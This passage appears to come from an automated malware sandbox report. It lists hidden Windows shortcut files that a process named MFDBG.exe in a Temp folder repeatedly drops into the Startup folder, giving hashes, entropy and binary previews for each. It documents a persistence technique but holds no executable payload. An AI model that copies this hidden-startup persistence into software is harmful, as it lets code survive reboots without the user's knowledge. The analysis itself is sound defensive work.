File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.912244885472966
Encrypted:	false
SSDEEP:	24:8zBfx8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:81eEvZ0yRO7DLO2zdxdRd1kyg
MD5:	AF4CB39FA642E1D1CC12E7C3F553E73C
SHA1:	30ED86C964558BF5DEC6756FFA93E7C008D605B9
SHA-256:	080BA10468F12BF9507D5934476AA353D2EE5B0CE6BA6586B7A7E9F61F49925D
SHA-512:	E8585F27719583409BD83A3510EE72E2324BEEAE7D14D9BA23F0B1985C8B747559FE3136D0976F3BE66787D3216B61FB3842AFB196A03A2F5328FA146AB0E259
Malicious:	false
Preview:	L..................F....".......d.....&9d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2aaea246648a4eaf81e7829ad8e44566.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925969656937661
Encrypted:	false
SSDEEP:	24:8ABfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8OhEvZ0yRO7DLO2zdxdRd1kyg
MD5:	20C438B11230EEA03C72CFB83BB140FF
SHA1:	94D47F51AE1A66608C882EABCFC586AA361C9136
SHA-256:	08D62FCBA9474CF964B63DE100AB6FE61F239BF29EAAC6520FE3BAF13019764F
SHA-512:	A0E65FD8DFD34D5785FCDC665F9E3BE5E39B513C4B9EC67BDCE0EDDBF8883DF2CF8FC8AFAD72E6571D91DFF493F85318C1491DCF2238C496DD97E2385C684501
Malicious:	false
Preview:	L..................F....".......d....w.Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....w.Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2acd699e30f547bba6c5603397c6e190.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:58 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926342880441755
Encrypted:	false
SSDEEP:	24:8hBfT8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:87YEvZ0yRO7DLO2zdxdRd1kyg
MD5:	09DA6FB96C87D62BFB53674468711C7E
SHA1:	B3D3F041DB0CA50D0B2B0A0592DF0A7F90F356F0
SHA-256:	DCD9486C549D1EFB5BFC9EB8C5BE9D6805A62E456DF08470064500BD9DA4A15A
SHA-512:	2DEC52B7A53BD22D85C704CB2E78212180AD6D31E09CC1472789855D20AC572353D1FE47977E97861B6058C722E77D8F1D4BFE7D03F36A9F3CF08AE07CCE9908
Malicious:	false
Preview:	L..................F....".......d......d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...1...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2b1ba1ac1b8b442181a0edc59e0eac91.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:10 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.924872641521066
Encrypted:	false
SSDEEP:	24:8ABf68EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8OfEvZ0yRO7DLO2zdxdRd1kyg
MD5:	5A53BD4277AB31EFC43EF87EBFCA5D38
SHA1:	509F2253A3233B05415906CCE70A079810572429
SHA-256:	8FBAEED0B414F6103AE21B68CC36AFD64273CF3F3BC700D7F81B6C745CE789B8
SHA-512:	210E8EA068387773238B6AB3828E3286FD6BE245DDBBB41E00EB2ED1A5B5CF575390087F8B9006A12A0B1DAD4A590822680CBE8903C967BADFF629B4DD07D068
Malicious:	false
Preview:	L..................F....".......d.....#d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...X.#d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2ba7287bdf2b4a3192f7826d32a65806.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926332994295779
Encrypted:	false
SSDEEP:	24:8nBf/8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8B8EvZ0yRO7DLO2zdxdRd1kyg
MD5:	B8756503AEEB2974FA79AA7908EA4E4E
SHA1:	6D611E0328DB976F327236F10EE5C925A891E4BD
SHA-256:	EEC89C95B130686BC4D622B61F6D5CEE1E5ECFE2441BB40956445C19C1BB6C37
SHA-512:	18E958C791B2385DDF0111A7CEFCA36D451E16694E5A87B188B7F6D99EDF22F895535E661244F65C877B4FCE8E52C0B5CE3E308CDDCABAD5E36B58CB8AB3AF38
Malicious:	false
Preview:	L..................F....".......d....C.]d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...l/.]d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2c40a17545ac4a53a053a59f40ef1a37.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:59 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918607746744673
Encrypted:	false
SSDEEP:	24:8RBfo8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8rFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	4134E74638DD95E2EAC8730B1444D409
SHA1:	1687F60E750986BF6C0D5D17D8F4A36679658D7B
SHA-256:	958EE7AA984F03546812AF0AF9BA8A53606AC0B951292667BF059ACCB9011854
SHA-512:	BEBAB0E843515C8C5759B8755BA2E9D383A6BC44228051FA9D57189AF33461EE1FEDBA502E86246C515E0F086CB238AE79BB0FC121AB8B99FDC8BB3630C1743A
Malicious:	false
Preview:	L..................F....".......d...l%..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...-8..d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2c5a1009d2ad444da718f27a1de15b67.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925969656937661
Encrypted:	false
SSDEEP:	24:8MrBfiD8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8MdaQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	3207CB79889D82F39F9893E7FF0BB26B
SHA1:	3769D52D65F292E2D63C03BB078D286593C2C21F
SHA-256:	D22489AAAD5D83EF3FE1C337A0E7D2D3A4A836A470BA66C85A8D0CA6282C0880
SHA-512:	3802321B1DB05084EA095C75BE6036E34FB2309FBF4C5916688B3F1552AE58C2A2BF17DCDA1FB829F52C0D1570193D36430FE4BD4074F7BC994F871578591B43
Malicious:	false
Preview:	L..................F....".......d...R..:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...R..:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2cbed55d522c412f8d89f39321ac9868.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:18 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920859287721996
Encrypted:	false
SSDEEP:	24:8o0Bfa8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8oavEvZ0yRO7DLO2zdxdRd1kyg
MD5:	B0A346391A6E71D4D1C35B40BE505F4B
SHA1:	68C7919FC732D36AFDAA39D44C006FB617A7E1F9
SHA-256:	A5D83E9F66C9A8D48ABFAA72B0BE267ED2F20C1CB3034DC6A5E4A0DB09347DB4
SHA-512:	734EFBCA8CA0D048061FDCEFC82CE872BD57AF7A7630B2708C790EED5D3DA455C94DF77EA59A06789647EFEFF30F9FA9AB15D1E20B2C4548D771C9B11D9C3CF7
Malicious:	false
Preview:	L..................F....".......d...,.M(d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...I.F(d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2d17ebd4f0fd45728dab120f4579b2ef.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:54 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9227306641685304
Encrypted:	false
SSDEEP:	24:8trBf48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:87lEvZ0yRO7DLO2zdxdRd1kyg
MD5:	E44D8E02347018F82973171DD02B7AB2
SHA1:	63C0C67B5D3BDC5245422A0ABE2C56FE6941C2B5
SHA-256:	9F8420459FC94432F11A3AD7C73F5AAEC08F910E40DE71B6CC4EF11A122B1614
SHA-512:	E650C0D4398C5EE81ED5C4C8981A55BF7675764D67205381A5FC286F9714E6B5583E4539BC50B1112C24C4E33A73E279515F578419FB2E4D434D9923576526EB
Malicious:	false
Preview:	L..................F....".......d.....=d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...1.=d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2d563d8c2cf147e2848d99c369d44af0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:04 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917955271129327
Encrypted:	false
SSDEEP:	24:8/BfBf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8JyEvZ0yRO7DLO2zdxdRd1kyg
MD5:	CCD407C0754A52FF10361E83DAF117AF
SHA1:	B62ACAD129B74F2DBCABF1CFBEEA47C2C12B26E4
SHA-256:	C7A2448BECF17C9958D38C0CFADB347182592224DCF14903A4A54CFEFB05060C
SHA-512:	8C6834AB3EB13380E9F65F575A3585F8953F5B77C3F912965F04C936A30467C03ABC1194DFBE7CE33C4182BCCFA1369516F4FCE6FD80576A33D27888CD8952FF
Malicious:	false
Preview:	L..................F....".......d....T8.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...P.:.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2d863333e68f4e76898d425612a971bf.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:55 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925216570618479
Encrypted:	false
SSDEEP:	24:8BaBfi8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:86HEvZ0yRO7DLO2zdxdRd1kyg
MD5:	36FCC3D1EAF11C1861BDE82C41EA3617
SHA1:	93C624EC260B01E8D035E6383EF43769307D6714
SHA-256:	E38E723BE0421BC8B507FFF45C5524B0B1EAE0342F8DFC1D7A3C8C74F926470F
SHA-512:	DDE85188002509E4FB4E1BD7336EFEB2C62BF0CD93D97895AE378F1BF12AE83E56D43CA30E3A76B36F54D5442056B33C3E1F8DCA5FF169AEB92D8E635FE87D3D
Malicious:	false
Preview:	L..................F....".......d....jA>d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....<>d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2dd3288fe7794fb086adda81182f90e3.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930158985133401
Encrypted:	false
SSDEEP:	24:81Bfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:83REvZ0yRO7DLO2zdxdRd1kyg
MD5:	CE761F1F9FF0B58B092B9A2A96ED8E09
SHA1:	0C42F36B09744C442C1D59FF319BAC672296E53E
SHA-256:	21E820BDB99B64298E4D9865F42172C833405720C3EC4AE277292DCBD1F99911
SHA-512:	2D155008609663ED95279A5DE97EF293B163CB03A4A30802E9317B1FF983168B6C8C0D3EBF6836ED288528785EDC60F52E8F268B91F7C6E7456C3F03F3F5CC4A
Malicious:	false
Preview:	L..................F....".......d......Zd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......Zd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2e454b5e306c41c4b97ca312c15e652b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:13 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922142131069412
Encrypted:	false
SSDEEP:	24:8VzBfK8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8f/EvZ0yRO7DLO2zdxdRd1kyg
MD5:	512E8BC0DDA16A67866CC81B4E1E93A3
SHA1:	BD49436CCB16BDB88CF4E14B6D71BB36F31F6C2C
SHA-256:	F84A9CDE35891C41A8300CD14F008F42FC08255FD04BA820E2950CB28E2728C1
SHA-512:	431F5330FBFCD91D079D47D299EBED10AC52427F89441690DFC424DCE54C0031531AC9570EA27B57D1184CF422A225FE972D524D3886E65387B5EE94342C81C7
Malicious:	false
Preview:	L..................F....".......d...h@.%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...m.y%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2e94137938c948be9a58dce5fbcb31de.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
